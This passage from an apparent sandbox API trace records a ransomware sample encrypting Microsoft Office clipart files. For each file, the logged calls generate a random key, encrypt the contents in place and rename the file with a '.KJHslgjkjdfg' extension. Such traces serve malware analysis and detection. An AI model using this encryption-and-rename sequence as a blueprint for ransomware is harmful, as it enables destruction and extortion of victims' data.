hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.715] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.715] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x19ec, lpOverlapped=0x0) returned 1 [0192.716] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19f0) returned 1 [0192.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.716] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x19f0, lpOverlapped=0x0) returned 1 [0192.716] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.716] SetEndOfFile (hFile=0x130) returned 1 [0192.718] GetProcessHeap () returned 0x2ef0000 [0192.718] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.718] GetProcessHeap () returned 0x2ef0000 [0192.718] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.kjhslgjkjdfg")) returned 1 [0192.727] CloseHandle (hObject=0x130) returned 1 [0192.728] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0192.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.728] GetProcessHeap () returned 0x2ef0000 [0192.728] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.728] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.728] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0192.731] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.731] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.731] GetProcessHeap () returned 0x2ef0000 [0192.731] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.731] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.731] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.731] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.731] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.731] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.732] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.732] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.732] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.732] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.732] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1204, lpOverlapped=0x0) returned 1 [0192.733] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1210, dwBufLen=0x1210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1210) returned 1 [0192.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.733] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1210, lpOverlapped=0x0) returned 1 [0192.733] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.733] SetEndOfFile (hFile=0x130) returned 1 [0192.736] GetProcessHeap () returned 0x2ef0000 [0192.736] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.736] GetProcessHeap () returned 0x2ef0000 [0192.736] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.kjhslgjkjdfg")) returned 1 [0192.743] CloseHandle (hObject=0x130) returned 1 [0192.743] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0192.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.744] GetProcessHeap () returned 0x2ef0000 [0192.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.744] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.744] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.747] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.747] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.747] GetProcessHeap () returned 0x2ef0000 [0192.747] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.747] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.747] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.747] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.747] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.748] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.748] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.748] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.748] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.748] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.748] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc48, lpOverlapped=0x0) returned 1 [0192.748] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc50, dwBufLen=0xc50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc50) returned 1 [0192.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.748] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc50, lpOverlapped=0x0) returned 1 [0192.748] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.749] SetEndOfFile (hFile=0x130) returned 1 [0192.750] GetProcessHeap () returned 0x2ef0000 [0192.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.750] GetProcessHeap () returned 0x2ef0000 [0192.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.kjhslgjkjdfg")) returned 1 [0192.752] CloseHandle (hObject=0x130) returned 1 [0192.753] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0192.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.757] GetProcessHeap () returned 0x2ef0000 [0192.757] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.757] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0192.760] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.760] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.760] GetProcessHeap () returned 0x2ef0000 [0192.760] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.760] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.760] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.760] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.760] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.761] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.761] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.761] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.761] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.761] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1df4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1df4, lpOverlapped=0x0) returned 1 [0192.762] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e00) returned 1 [0192.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.762] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e00, lpOverlapped=0x0) returned 1 [0192.763] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.763] SetEndOfFile (hFile=0x130) returned 1 [0192.765] GetProcessHeap () returned 0x2ef0000 [0192.765] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.765] GetProcessHeap () returned 0x2ef0000 [0192.765] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.kjhslgjkjdfg")) returned 1 [0192.771] CloseHandle (hObject=0x130) returned 1 [0192.771] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0192.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.772] GetProcessHeap () returned 0x2ef0000 [0192.772] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.772] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.772] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.775] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.775] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.775] GetProcessHeap () returned 0x2ef0000 [0192.775] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.775] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.775] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.775] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.775] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.776] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.776] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.776] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x212c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x212c, lpOverlapped=0x0) returned 1 [0192.777] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2130, dwBufLen=0x2130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2130) returned 1 [0192.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 